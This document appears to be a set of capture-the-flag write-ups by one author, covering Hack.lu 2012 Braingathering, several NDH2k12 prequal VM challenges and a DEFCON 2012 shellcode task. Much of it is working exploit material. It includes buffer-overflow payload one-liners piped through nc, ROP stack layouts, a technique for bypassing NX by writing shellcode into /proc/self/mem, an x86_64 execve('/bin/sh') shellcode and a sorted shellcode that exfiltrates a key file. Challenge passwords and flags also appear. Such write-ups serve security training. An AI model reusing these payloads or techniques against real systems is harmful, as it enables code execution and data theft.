Hack.lu CTF 2012: Braingathering (500 points)
Written by Samuel Chevet
1 2 3 4 5 6 7 8 9
We fought our way to the main server room. The zombies realized that they run out of humans sooner or later, so they started to build machines to create humans for them to eat. Those machines have a special code which is only known to the zombies. This code is capable of destroying all breeding-machines. Now, it's all up to you to get this code and tell us so that we can destroy all machines. SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop credits: 500 +3 (1st), +2 (2nd), +1 (3rd)
Braingathering is an elf32 binary which asks for 3 choices:
- 1) Need Brainz brainz brainz, Zombie huuuungry!
- 2) How much longer till braaaiiiiinz?
- 3) Nooo more brainz! STOP THE BRAINZ!
The two first are not interesting, but the third asks us for a password and compares it with the content of the "killcode". If the password entered by the user is right, it prints us:
YEAH, now go and submit the killcode so that we can stop other systems as well
So we need to leak this password or to get a shell to print the content of the file "killcode".
Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section's type to PROGBITS and we can see a simple deciphering loop.
1 2 3 4 5 6 7 8 9 10
loc_8048BC1: ; CODE XREF: start+1Aj mov eax, offset loc_8048500 mov ecx, 6A1h loc_8048BCD: ; CODE XREF: start-Aj xor byte ptr [eax], 8Ch inc eax dec ecx cmp ecx, 0 jg short loc_8048BCD
The binary xors bytes from
0x8C, and jumps to
0x8048500, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it's definitively a VM.
It's friday night, and I was bored, so I decided to write an IDA processor for this vm:
Now we just have to dump the vm from offset
0x2847, and use this processor: "brain VM CPU: brain".
The first thing the vm does is decyphering his code with xor
0x1050. Again the solution is to write a simple C program to do the task for us.
Ok now we have the full code of the VM!
The only interesting sub is at offset
0x014E, we can call ask-for-password, it is the sub for the third choice.
The problem in this function is that a stack based buffer overflow can occur. It reserves
0x34(52) bytes on the stack for the buffer, but reads on STDIN
0x36(54), so we can overwrite the return address of this sub inside the VM.
1 2 3
0x187 MOV R4, $8000 0x18A MOV R1, $10 0x18D CALL memcpy
The password will be copied to address
0x8000, and our buffer to
0x7000, to compare them in sub-function
0x3Fis able to write a buffer to a file descriptor.
0x3F opcode, write(*PC, R4, strlen(R4));
So the idea is to put in R4 the adress of the password and execute this opcode. The opcode
0x49is perfect for this task :
0x49 mov r4, [PC]
So the payload looks like this:
1 2 3 4 5 6 7 8
0x49 0x00 0x80 ; mov r4, 0x8000 0x40 0x01 ; write(STDOUT_FILENO, r4, strlen(R4)); 0x53 0x0D 0x70 ; Adresse return for sub_print_newline (buffer + 0xD) for ending correctly exploit 0x53 0x03 0x01 ; push 0x013E (@ of sub_print_newline) 0x58 ; ret "0xFF"*43 ; END VM 0x00 0x70 ; New Address to return (@buffer)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload ==[ZOMBIE BRAIN AQUIREMENT SYSTEM]== Automated system for braingathering ready. 1) Need Brainz brainz brainz, Zombie huuuungry! 2) How much longer till braaaiiiiinz? 3) Nooo more brainz! STOP THE BRAINZ! X) Nah, I'm going to get my brains somewhere else. ### Warning: Only for authorized zombies ### Please enter teh z0mb13 k1llc0d3: Comparing k1llc0d3 INVALID OMG_VMAP0CALYPS3
More fun with the NDH2k12 Prequals VM
During the Nuit du Hack 2012 Prequals contest, we often had to remote exploit some services running in a custom VM (which was recently released on github). After injecting a shellcode in the services (through a remote stack buffer overflow) we were able to run VM code, which can execute interesting syscalls:
exit, and a lot more. However there was not a way to directly execute a random x86 binary or to list directories (no
getdents), which made it really hard to explore the server filesystem.
After the event ended we got an idea that we could have used to bypass this security and execute any shell command line on the remote server. Using
/proc/self/cmdline, we can get the path to the VM binary and download it. Then, using
/proc/self/memwe can replace some symbols from the binary by our custom x86 code. This method works because without the grsecurity patchset
/proc/self/memcompletely overrides NX and allows writing to read-only memory locations (like
We wrote an exploit for
exploit-me2.ndhwhich does the following thing:
- First, exploit the buffer overflow by sending a 102 chars string which will
fill up the 100 bytes buffer and overwrite the stack pointer by the buffer
start address. The buffer contains a shellcode which will load a second stage
shellcode to memory. We had to do that because our main shellcode is bigger
than 100 bytes. This VM code is loaded at offset
pie_baseto avoid crashing the VM.
- Then, the second stage exploit opens
/proc/self/mem, seeks to the
op_endsymbol location (VM instruction handler for
END (0x1C)) and writes an
x86_64 execve("/bin/sh")shellcode at this location. Seeking is not an easy task though as we can only manipulate 16 bits values inside the VM. Luckily the VM
.textis at a very low address and we were able to use this at our advantage: for example, to seek to
0x4091bc, we do a loop to seek forward
0xFFFF64 times then seek forward once more by
0x91fc. After our shellcode replaced the end instruction, we execute the
0x1Copcode to run our code.
Here is the second stage shellcode asm (first stage is really not that interesting):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
; Open /proc/self/mem movb r0, #0x02 movl r1, #str movb r2, #0x02 syscall mov r1, r0 movb r0, #0x11 ; SYS_seek movb r2, #0x0 ; offset movb r3, #0x0 ; SEEK_SET syscall ; Seek to 0x40 * 0xFFFF = 0x3fffc0 movl r2, #0xFFFF; offset movb r3, #0x1 ; SEEK_CUR movb r5, #0x40 loop: movb r0, #0x11 ; SYS_seek syscall dec r5 test r5, r5 jnz loop ; Seek forward to 0x4091bc == 0x40 * 0xFFFF + 0x91fc movb r0, #0x11 movl r2, #0x91fc syscall ; Write NULL to the address movb r0, #0x04 movl r2, #shellcode movb r3, #0x21 syscall end ; PWNZORED str: .asciz "/proc/self/mem" shellcode: 4831d248bbff2f62696e2f736848c1eb08534889e74831c050574889e6b03b0f05
This exploit works fine when the VM allows execution of writable pages (NX not enabled).
exploit-me2.ndhdoes not uses NX so this exploit works fine to exploit this binary. However, we were interested to see if we could reproduce this exploit on an NX enabled binary, like
The difficulty here is that you obviously can't simply write your VM shellcode to memory and run it. You need to use ROP technics to run the code you want. The
web3.ndhbinary contains a lot of interesting functions and gadgets to ROP to so this was not as hard as expected.
This binary reads a 1020 bytes buffer, which is definitely enough for a simple shellcode but not enough for our ROP shellcode which can't easily do loops. This time again we built a two stage exploit: first stage does part of the job and calls
read(2)to load a second stage which does the rest of the work.
We built our first stage exploit stack like this:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
7BF4 /proc/self/mem # required string constant ... padding ... 7DF4 0xBEEF # /GS canary 7DF6 0x8198 # offset to POP R1; POP R0; RET 7DF8 0x0002 # O_RDWR 7DFA 0x7BF4 # offset to /proc/self/mem 7DFC 0x81CA # "open" function 7DFE 0x8174 # offset to POP R2; POP R1; RET 7E00 0x0000 # SEEK_SET 7E02 0x0000 # seek to 0 7E04 0x81EA # "seek" function [repeated 0x28 times] 0x82C4 # offset to POP R2; RET 0xFFFF # seek 0xFFFF forward 0x80FF # offset to POP R3; RET 0x0001 # SEEK_CUR 0x81F9 # "lseek" function + 0xF to preserve regs 0x4242 # dummy for a POP in lseek 7FE6 0x84ED # "receive data" function 7FE8 0xFFFF # padding 7FEA 0xFFFF # padding
This does 0x28 / 0x40 of the required seeks, then recalls the vulnerable data receive function to load the second stage stack which is placed just after on stdin:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
7BE0 0xFFFF # padding 7BE2 0xFFFF # padding 7BE4 [x86_64 execve(/bin/sh) shellcode + padding] 7DE4 0xBEEF # /GS canary 7DE6 0x8176 # offset to POP R1; RET 7DE8 0x0003 # hardcoded /proc/self/mem fd (haxx) [repeated 0x18 times] 0x82C4 # offset to POP R2; RET 0xFFFF # seek 0xFFFF forward 0x80FF # offset to POP R3; RET 0x0001 # SEEK_CUR 0x81F9 # "lseek" function + 0xF to preserve regs 0x4242 # dummy for a POP in lseek 7F0A 0x82C4 # POP R2; RET 7F0C 0x91FC # last required offset 7F0E 0x80FF # POP R3; RET 7F10 0x0001 # SEEK_CUR 7F12 0x81F9 # "lseek" + 0xF 7F14 0x4242 # dummy for a POP in lseek 7F16 0x82C4 # POP R2; RET 7F18 0x7BE4 # offset to shellcode 7F1A 0x80FF # POP R3; RET 7F1C 0x0021 # shellcode length 7F1E 0x8193 # "write" syscall in the middle of a function 7F20 0x4242 # dummy for a POP 7F22 0x4242 # dummy for a POP 7F24 0x838c # offset to END, which executes our x86 expl ... padding ... 7FE0 [shell command to execute]
Last step is to be able to bypass ASLR + NX. We weren't able to do this yet, but we are confident that we could do it with some more work.
/proc/self/memis really a powerful attack vector when you have to bypass things like NX on a vanilla kernel!
- First, exploit the buffer overflow by sending a 102 chars string which will fill up the 100 bytes buffer and overwrite the stack pointer by the buffer start address. The buffer contains a shellcode which will load a second stage shellcode to memory. We had to do that because our main shellcode is bigger than 100 bytes. This VM code is loaded at offset
NDH2K12 Prequals: web3.ndh writeup (port 4005)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
From: Piotr <firstname.lastname@example.org> To: LSE <email@example.com> Subject: Another weird link Attachments : web3.ndh Thank you again for these informations! we have just credited your account with $1700. Our spy thinks that Sciteek staff is aware about the mole inside their building. He is trying to read a private file named "sciteek-private.txt" located at sciteek.nuitduhack.com:4005. Please find the .ndh attached, if you are sucessfull, reply with a message entitled "complex remote service". Of course, your efforts will be rewarded with $2500. Maybe you will find pieces of informations about the mole. Piotr
As before, we can easily execute this .ndh file in the VM we have to understand the behavior of the program, but this time we also had an IDA plugin to help us.
Program will reserve
0x200bytes for the receveid buffer, and setup a canary on the stack at offset
0x200avoiding stack based buffer overflow. But the canary is always the same value
0xbeef, this protection will be easy to bypass.
An another protection has been setup on this challenge, NX byte, instead of service 4004, we won't be able to execute code from our buffer. We will use ROP technics, to bypass it.
We figured out an excellent sub function (like in service 4000) "disp_file_content".
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
ROM:8201 disp_file_content: ROM:8201 PUSH R1 ROM:8204 PUSH R2 ROM:8207 PUSH R3 ROM:820A PUSH R4 ROM:820D PUSH R5 ROM:8210 MOVL R1, 0 ROM:8215 CALL SYSCALL_OPEN ROM:8219 CMPL R0, $FFFF ROM:821E JNZ file_valid ROM:8221 XOR R0, R0 ROM:8225 POP R5 ROM:8227 POP R4 ROM:8229 POP R3 ROM:822B POP R2 ROM:822D POP R1 ROM:822F RET ROM:8230 ; --------------------------------------------------------------------------- ROM:8230 ROM:8230 file_valid: ; CODE XREF: disp_file_content+1D ROM:8230 MOV R3, R0 ROM:8234 MOVL R1, 0 ROM:8239 MOVL R2, $2 ROM:823E CALL SYSCALL_FSEEK ROM:8242 MOV R4, R0 ROM:8246 INC R4 ROM:8248 MOV R0, R3 ROM:824C MOVL R1, 0 ROM:8251 MOVL R2, 0 ROM:8256 CALL SYSCALL_FSEEK ROM:825A SUB SP, R4 ROM:825E MOV R5, SP ROM:8262 MOV R0, R3 ROM:8266 MOV R1, SP ROM:826A MOV R2, R4 ROM:826E CALL SYSCALL_READ ROM:8272 ADD R4, R5 ROM:8276 DEC R4 ROM:8278 MOVBT R4, 0 ROM:827C MOV R0, R5 ROM:8280 CALL write_socket ROM:8284 MOVB R0, 1 ROM:8288 INC R4 ROM:828A SUB R4, R5 ROM:828E ADD SP, R4 ROM:8292 POP R5 ROM:8294 POP R4 ROM:8296 POP R3 ROM:8298 POP R2 ROM:829A POP R1 ROM:829C RET ROM:829C ; End of function disp_file_content
Before calling this function we have to set R0 correctly to the file required file name ("sciteek-private.txt").
We will use these simple gadgets to change the value of
R0and quit program correctly:
1 2 3 4 5 6
ROM:80BD POP R0 ROM:80BF RET [...] ROM:838C END
Scheme of exploitation looks like:
[file_name] [NULL_PADDING] [POP_R0;RET] [ADDR_BUFF] [disp_file_content] [END]
Here is the final exploit :
1 2 3 4 5 6 7 8 9 10 11 12 13 14
perl -e 'print "sciteek-private.txt" . "\x00"x493 . "\xef\xbe" . "\xbd\x80" . "\xf4\x7b" . "\x01\x82" . "\x8c\x83"' | nc sciteek.nuitduhack.com 4005 Dear Patrick, We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information. However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business , but one of them contains an archive with an explicit name. We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be. Sincerely, David Markham.
NDH2K12 Prequals: exploit-me2 writeup (port 4004)
Written by Samuel Chevet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
hi, i was discretely wandering around as usual yesterday. a couple of system developpers were shouting about corporate devices quality decreasing every year when they finally agreed about using local network to transfer some pictures. from the dead usb key i managed to recover from the trashcan and to clean, i finally extracted a couple of megabytes of unaltered data. worthless corporate mails, personal pictures i decided to keep for my private use and few interesting files, especially some asm source code that you might find valuable. i attached one of them, please contact me if you would like any further investigation about those pieces of code. ; test program #1 - build #35 for scipad ; http://sciteek.nuitduhack.com ; some includes #include inc/stdlib.inc ; this routine asks for a password and put the address in r5 and the size in r0 .label ask_password ; display a prompt movl r0, :pwd_msg call :print ; allocate some space on stack subb sp, #8 mov r5, sp movl r0, stdin mov r1, r5 movb r2, #10 ; read the password from stdin call :read ; restore the stack pointer addb sp, #8 ; return ret ; our main ; ; basically, this program does nothing useful ... it is just a sample ;) .label main ; display a welcome message movl r0, :welcome call :print ; ask for a password call :ask_password ; displays an error movl r0, :error call :print ; quit end ; temp routine (not used anymore) .label temp_routine movl r0, :flag_file call :disp_file_content end .label welcome .db "welcome on sciteek' scipad secure shell !",0x0a,0 .label pwd_msg .db "please enter your passphrase: ",0 .label error .db "nope. it is not the good password",0x0a,0 .label hint .db "sciteek.nuitduhack.com:4000",0 .label flag_file
This service vulnerability is a simple stack based buffer overflow. We are able to overwrite return address of ask_password function, but service running on remote server wasn't compiled from these exact sources, because received data size equals to
There is no ASLR, or NX on, so we can execute whatever we want from this buffer.
We wrote a simple shellcode to read /proc/self files :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
MOVB R0, #0x2 MOVL R1, :filename MOVB R2, #0x0 SYSCALL ; open(filename, O_RDONLY) MOV R7, R0 .label :loop MOVB R0, #0x03 MOV R1, R7 MOV R2, SP MOVB R3, #0x01 SYSCALL ; read(fd, sp, 1) TEST R0, R0 JNZ :read_ok END .label :read_ok MOVB R0, #0x04 MOVB R1, #0x01 MOV R2, SP MOVB R3, #0x01 SYSCALL ; write(stdout, sp, 1) JMPS :loop .label :filename .ascii "/proc/self/cmdline"
Scheme of exploitation is very simple :
[SHELLCODE] [NULL_PADDING] [BUFFER_ADDR]
And here is the exploit:
> nc sciteek.nuitduhack.com 4004 < shellcode_proc Password (required): /usr/local/challenge/vmndh/vmndh4-file/usr/local/challenge/vmndh/exploitmes/exploitme2.ndh
We can see that vm binary is located into /usr/local/challenge/vmndh/exploitmes/ and sercices run into /usr/local/challenge/vmndh/vmndh4, so by replacing /proc/self/cmdline by "../exploitmes/exploitme2.ndh", we are able to dump it.
1 2 3 4 5 6 7 8
> nc sciteek.nuitduhack.com 4004 < shellcode_dump > bin_4004_dump > strings bin_4004_dump Password (required): .NDH Password (required): sciteek.nuitduhack.com:4004 Bad password. You are now authenticated ZomfgSciPadWillR0xxD4Fuck1nw0RLd!!!
Password was :
DEFCON2K12 Prequals: pwn300 writeup
Written by Samuel Chevet
This challenge was not an exploitation challenge but rather shellcode writing with some constraints.
First the remote service wants to receive a password: "3c56bc31268ac65f". After that it will read from the socket fd 1024 bytes into a buffer on the stack. This buffer will be sorted as an array of dwords, this job is done by the function at 0x08048A00. Finally the service will call our buffer (exec-stack enabled), so the idea is to send a simple shellcode that will do the following c code after being sorted:
1 2 3
open("key", O_RDONLY); read(fd, stack_ptr, 0xFF); write(socket_fd_client, stack_ptr, 0xFF);
We know that
socket_fdwill always be 4, and we will have to reverse some locations on the stack to store bytes read from the key file. So, we started by working on a simple shellcode which does this stuff, and we modified it to be able to be sorted without breaking the code flow.
We managed to do it by putting padding with useless x86 instruction that didn't affect the flow of the shellcode (like inserting some NOPs; and register register; add value to unused register; ...)
We used radare (rasm2) and looked at the ref.x86asm.net website since there are multiple ways to represent the same instruction:
1 2 3 4 5 6 7 8 9 10
> rasm2 -d "0ac0" or al, al > as --32 test.S -o test.o ; objdump -d ./test.o ./test.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: 08 c0 or %al,%al
After mixing all of these stuff, here is the final result:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
# open push %esp pop %ecx add $0x01, %al pusha nop add $0x1, %al pusha nop add $0x1, %al pusha nop add $0x1, %al nop nop push $0x079656b03 add $0x3, %al pop %ebx nop add $0x5, %al nop nop add $0x5, %al shr $4, %ebx nop shr $4, %ebx push %ebx add $0xCC, %al or %al, %al mov %esp, %edx or %al, %al xor %eax,%eax or %eax, %eax push %eax stc or %eax, %eax push %edx stc or %eax, %eax mov $0xf, %al .byte 0xa # or al, al .byte 0xc0 push %eax .byte 0x34 .byte 0xa int $0x80 # read .byte 0x34 .byte 0xb nop nop .byte 0x34 .byte 0xb mov %eax, %edx .byte 0x34 .byte 0xb xor %eax,%eax .byte 0x24 .byte 0x0c movb $0xfd, %al push %eax push %ecx nop nop nop push %edx nop nop nop .byte 0x87 .byte 0xf7 mov $0x3, %al nop push %eax int $0x80 nop # write xor %eax,%eax movb $0x90, %al push %eax push %ecx .byte 0xb2 .byte 0x90 push $0x4 .byte 0xA8 .byte 0x91 mov $0x4, %al push %eax int $0x80 .byte 0xfd .byte 0xfd .byte 0xfd
And by using a script to extract the compiled shellcode, we can see that it is correctly sorted and test that it works properly:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
shellcode = \ "\x54\x59\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x60\x90\x04\x01" + \ "\x90\x90\x68\x03" + \ "\x6b\x65\x79\x04" + \ "\x03\x5b\x90\x04" + \ "\x05\x90\x90\x04" + \ "\x05\xc1\xeb\x04" + \ "\x90\xc1\xeb\x04" + \ "\x53\x04\xcc\x08" + \ "\xc0\x89\xe2\x08" + \ "\xc0\x31\xc0\x09" + \ "\xc0\x50\xf9\x09" + \ "\xc0\x52\xf9\x09" + \ "\xc0\xb0\x0f\x0a" + \ "\xc0\x50\x34\x0a" + \ "\xcd\x80\x34\x0b" + \ "\x90\x90\x34\x0b" + \ "\x89\xc2\x34\x0b" + \ "\x31\xc0\x24\x0c" + \ "\xb0\xfd\x50\x51" + \ "\x90\x90\x90\x52" + \ "\x90\x90\x90\x87" + \ "\xf7\xb0\x03\x90" + \ "\x50\xcd\x80\x90" + \ "\x31\xc0\xb0\x90" + \ "\x50\x51\xb2\x90" + \ "\x6a\x04\xa8\x91" + \ "\xb0\x04\x50\xcd" + \ "\x80\xfd\xfd\xfd
We send it on port 7548 at address 18.104.22.168 and we received the key as expected.